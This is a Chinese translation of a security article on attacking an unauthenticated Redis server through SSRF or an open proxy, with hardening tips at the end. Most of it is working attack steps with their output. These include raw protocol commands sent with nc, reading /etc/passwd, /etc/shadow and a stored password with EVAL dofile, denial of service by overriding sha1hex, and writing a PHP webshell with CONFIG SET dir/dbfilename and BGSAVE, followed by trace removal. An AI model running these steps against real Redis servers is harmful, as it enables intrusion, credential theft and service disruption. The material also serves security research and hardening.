Trying to hack Redis via HTTP requests
0x00 寫在前面的話
文章是翻譯過來的,翻譯過程中做了一些修改,新增了些東西。有興趣的直接可以看原文,原文的連結接在文章的最底部。
0x01 情景
我們假設存在一個SSRF漏洞或者配置不當的代理伺服器,使攻擊者可以透過HTTP請求直接訪問Redis服務。在上面假設的兩種情況中,要求我們對於HTTP的訪問請求至少有一行是完全可控的,這種完全可控是很容易實現的。但是,命令列的客戶端(redis-cli)是不支援HTTP代理的,而且我們需要構造出自己的命令。這些構造好的語句,封裝在HTTP請求中,透過代理進行傳送。以下所有的測試都是在redis 2.6.0版本中,雖然不是最新版,但是我們的要攻擊的目標使用的就是這個版本......
0x02 Redis簡介
Redis是一個NoSQL的資料庫(NoSQl泛指非關係型的資料庫,常用的mysql是關係型資料庫),資料透過鍵/值對儲存在記憶體中。預設配置中,在服務執行的時候,會開放一個沒有驗證的TCP/6379埠,提供的這個介面是很“寬容”。它會嘗試去解析處理每一次輸入(直到超時或者輸入’QUIT’命令退出),對於那些不存在的命令,則會顯示像"-ERR unknown command"這樣的輸出。
0x03 目標識別
當我們利用SSRF漏洞或者配置不當的代理伺服器進行進一步滲透時,第一步通常是掃描已知的服務。作為一個攻擊者,得知這個服務只在本地迴環介面上進行了埠監聽,使用了基於來源的驗證或者認為這種保護方式風險很小,因為這個是外部不能訪問的。 在測試過程中,看到以下日誌會令人亢奮:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
正如你所看到的,這個輸出證明了HTTP的GET請求方法,在redis中作為一個有效的命令執行了,但是沒有給這個命令提供正確的引數。其他的HTTP請求的沒有匹配到Redis命令,出現了很多”unknown command”的錯誤資訊。
0x04 基本互動
在上面構造的場景中,發出去的HTTP請求是幾乎完全可控的,同時請求是透過Squid代理傳送的。 這包含以下兩個方面
1)構造的HTTP請求必須是有效的,這樣才能透過squid代理去處理請求 2)到達Redis資料庫的請求,是透過代理傳送的 更簡單的方法是使用POST來提交資料,但是注入HTTP頭部的也是一個不錯的選擇。現在,來輸入一些基礎的命令(藍色標記的是輸入的命令)
ECHO HELLO
$5
HELLO
TIME
*2
$10
1410273409
$6
380112
CONFIG GET pidfile
*2
$7
pidfile
$18
/var/run/redis.pid
SET my_key my_value
+OK
GET my_key
$8
my_value
QUIT
+OK
0x05 突破空格的限制
正如你所注意到的,伺服器會返回特定的資料,再加上像”*2”或者”$7”這種的字元,這是根據Redis協議對二進位制資料安全的規定返回的資料,如果你要使用包含空格的引數,則必須使用這個規則。
例如,命令SET設定key 為“foo bar”無論是否使用單雙引號,都是不會成功的。幸運的是,Redis協議關於二進位制安全的一些規定是很簡單的:
--每一行都要使用分隔符(CRLF)
--一條命令用”*”開始,同時用數字作為引數,需要分隔符(“*1”+ CRLF)
--我們有多個引數時:
-字元:以”$”開頭+字元的長度("$4"+CRLF)+字串(“TIME”+CRLF)
-整數:以”:”開頭+整數的ASCII碼(“:42”+CRLF)
以上就是所有規則
舉一個例子: 對於設定”I am boring”的key為”with_space”,使用redis-cli的設定很簡單,一眼就能看懂
$ redis-cli -h 127.0.0.1 -p 6379 set with_space 'I am boring'
+OK
接下來我們套用規則來設定這條命令 *3是set命令的代表 然後根據多個引數時的字串表示式來構造set with_space I am boring這個命令,上面這條命令等價與後面的這條命令
$ echo -e '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 1 127.0.0.1 6379
+OK
0x06 資訊收集
經過前面的鋪墊,我們可以很好的和伺服器進行互動獲取我們想要的資訊。Redis的一些命令是很有用的,例如”INFO”和”CONFIG GET (dir|dbfilename|logfile|pidfile)"。這裡就把測試機器上的執行"INFO"的輸出貼出來
# Server
redis_version:2.6.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_mode:standalone
os:Linux 3.2.0-61-generic-pae i686
arch_bits:32
multiplexing_api:epoll
gcc_version:4.6.3
process_id:19114
run_id:5a29a860ccbe05b43dbe15c0674fb83df0449b25
tcp_port:6379
uptime_in_seconds:9806
uptime_in_days:0
lru_clock:518932
# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:1
blocked_clients:0
# Memory
used_memory:661768
[...]
下一步當然是進軍檔案系統,Redis可以執行Lua指令碼(在沙箱中)透過”EVAL”命令。沙箱允許dofile()命令。這條命令能夠檢視檔案和列目錄。因為Redis沒有特殊的許可權,所以請求/etc/shadow時會顯示一個”permission denied”的錯誤資訊(與執行redis服務的使用者的許可權有關)
EVAL “ return dofile('/etc/passwd')” 0
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':'
EVAL “return dofile('/etc/shadow')” 0
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied
EVAL “return dofile('/var/www/') ” 0
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory
EVAL “return dofile('/var/www/tmp_upload/') ”0
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory
EVAL “return dofile('/home/ubuntu/.bashrc')” 0
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'
如果Lua指令碼有語法錯誤或者嘗試設定全域性變數時,會產生報錯資訊,可以獲得一些我們想要的資訊
EVAL “return dofile('/etc/issue')” 0
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'
EVAL “return dofile('/etc/lsb-release')” 0
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'
EVAL “return dofile('/etc/hosts')” 0
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'
還有一種情況,但是並不是很常見,就是呼叫dofile()這個函式去處理有效的Lua檔案,然後返回提前定義好的值,假設這裡有一個檔案/var/data/app/db.conf
db = {
login = 'john.doe',
passwd = 'Uber31337',
}
透過Lua指令碼得到passwd的值
EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0
+OK Uber31337
這個也可以獲取Unix標準檔案的一些資訊:
EVAL “dofile('/etc/environment');return(PATH);” 0
+OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
EVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0
+OK /usr/bin/nano
0x07 暴力破解
Redis提供一個redis.sha1hex()函式,可以被Lua指令碼呼叫,所以還可以透過Redis伺服器進行SHA-1的破解,相關程式碼在adam_baldwin 的GitHub上(https://github.com/evilpacket/redis-sha-crack),相關原理的描述在 (http://fr.slideshare.net/evilpacket/ev1lsha-misadventures-in-the-land-of-lua需要翻牆訪問)
0x08 Dos
這裡有很多Dos Redis的方法,例如透過呼叫shutdown這個命令刪除資料。
這裡有更加有趣的兩個例子:
1)在Redis的控制端,呼叫dofile()不加任何引數,將會從標準輸入讀取資料,並把讀取的資料認為是Lua指令碼。這個時候伺服器依舊在執行,但是不會去處理新的連線,直到在控制端讀取到”^D”(或者重啟)。
2)Sha1hex()函式可以被覆蓋(在任何一個客戶端都可以實現這個效果)。下面展示一個返回固定值的sha1hex()函式 Lua指令碼:
print(redis.sha1hex('secret'))
function redis.sha1hex (x)
print('4242424242424242424242424242424242424242')
end
print(redis.sha1hex('secret'))
在Redis的控制端上
# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
4242424242424242424242424242424242424242
# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242
0x09 資料竊取
如果Redis伺服器儲存一些有趣的資料(像session cookie或商業資料),你可以透過get列舉鍵值,獲取資料。
0x0A 加密
Lua使用完全可以預測的”隨機數”,細節在scripting.c的evalGenericCommand()函式中
/* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */
redisSrand48(0);
每一次Lua指令碼呼叫math.random()函式產生的隨機數都是相同數字流:
0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]
0x0b 遠端命令執行
為了在開放的Redis伺服器上進行命令執行,有以下三種情況: 首先能夠修改底層的位元組碼,能夠進行虛擬機器的逃逸。(Lua的一個例子https://gist.github.com/corsix/6575486);或者是繞過全域性保護並且試圖訪問一些有趣的函式。
繞過全域性保護是很輕鬆的(stackoverflow上有一個例子 http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable)。然而這麼有趣的模組並不能載入,順便提一下,在這裡還有很多有趣的東西(http://lua-users.org/wiki/SandBoxes)。
第三種情況相對來說比較容易實現,將一個半控制的檔案匯出到硬碟中,在web的根目錄中,透過備份得到一個webshell或者覆蓋一個shell指令碼。唯一的區別是檔名和payload,匯出的方法都是一樣的,但是應該注意的是儲存日誌檔案的位置在啟動之後是不能修改的。事實上,這個資料庫中的內容會隔一段時間備份到硬碟的,以便於資料恢復,何時備份取決於配置檔案或者BGSAVE命令
以下是常用的幾條命令: -修改備份檔案的位置
CONFIG SET dir /var/www/uploads
CONGIG SET dbfilename sh.php
-把payload插入資料庫
SET payload “could be php or shell or whatever”
-把資料匯出到硬碟
BGSAVE
-清除痕跡
DEL payload
CONFIG SET dir /var/redis
CONGIG SET dbfilename dump.rdb
然而,這裡存在一個致命的問題,Redis對dump出來的資料設定的是”0600”許可權,因此Apache不能讀取。(作者是這麼寫的,元芳你怎麼看?)
0x0C 關於如何發覺公網上的Redis未授權訪問
Redis預設是執行在TCP的6379埠上的,需要進行埠掃描.確定埠是否開放。 同時,Python中有redis這個模組,可以編寫指令碼呼叫埠掃描後的結果,對Redis服務是否可以直接訪問,進行快速判斷。
0x0D 安全配置Redis的一些建議
不要以root使用者執行redis
配置檔案中的安全配置
port 修改redis使用的埠號
bind 設定redis監聽的IP
requirepass 設定redis連線的密碼
rename-command CONFIG "" #禁用CONFIG命令
rename-command info info2 #重新命名info為info2
源文章: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html 參考: Redis protocol:http://redis.io/topics/protocol Redis 命令參考:http://redis.readthedocs.org/en/latest/
相關文章
- Python HTTP庫:requests快速入門2019-04-20PythonHTTP
- 使用requests庫來傳送HTTP請求2023-11-08HTTP
- Cross origin requests are only supported for protocol schemes: http, data, chrom2018-11-22ROSProtocolSchemeHTTP
- 使⽤用Requests庫構建⼀一個HTTP請求2019-04-21HTTP
- CentOS載入yum源時報錯 [Errno 14] HTTP Error 404 - Not Found Trying other mirror.2024-03-23CentOSHTTPError
- 什麼是hack?css的hack有哪些?2024-12-03CSS
- Python 之requests封裝通用http協議介面請求2019-12-05Python封裝HTTP協議
- Hack With Chrome Extension2020-08-19Chrome
- Hack 說明2024-11-21
- 【python介面自動化】- 使用requests庫傳送http請求2020-08-16PythonHTTP
- TheWay2Hack2024-03-12
- Hack The Box——Perfection筆記2024-04-11筆記
- Hack The Box Web Pentest 20192019-07-30Web
- Hack.lu 2014 Writeup2020-08-19
- CSS HACK 如何書寫2019-02-19CSS
- python動態網站爬蟲實戰(requests+xpath+demjson+redis)2021-09-16Python網站爬蟲JSONRedis
- SQL Injection via DNS2020-08-19SQLDNS
- 前端面試題-CSS Hack2019-02-16前端面試題CSS
- 記錄 - 網站被 HACK!2018-09-27網站
- 《Debug Hacks》-看了21個Hack2019-04-18
- TLS Poison - When TLS Hack you2021-04-23TLS
- 排查 Kubernetes HPA 透過 Prometheus 獲取不到 http_requests 指標的問題2020-01-18PrometheusHTTP指標
- Bitmap回收—Canvas: trying to use a recycled bitmap android.graphics2018-03-20CanvasAndroid
- requests, BeauitfulSoup2024-07-18UI
- requests庫2024-05-31
- WPF Datagrid display via DataGridTemplateColumn2024-10-03
- WPF KeyDown MVVM Via Behavior2024-08-15MVVM
- Hack The Box 獲取邀請碼2019-01-22
- Hack,過度動畫,文字遮罩2018-08-15動畫遮罩
- 『vulnhub系列』Hack Me Please-12024-05-31
- vulnhub靶場之HACK ME PLEASE2022-12-03
- requests基本用法2018-07-26
- python+requests2024-11-20Python
- requests模組2024-11-01
- WPF play vide via MediaPlayer VideoDrawing2024-04-12IDE
- Attribute GetCustomAttribute via method info of type2024-03-09
- wpf draw ellipse via mouse click2024-03-28
- WPF image via web url or uri2024-10-02Web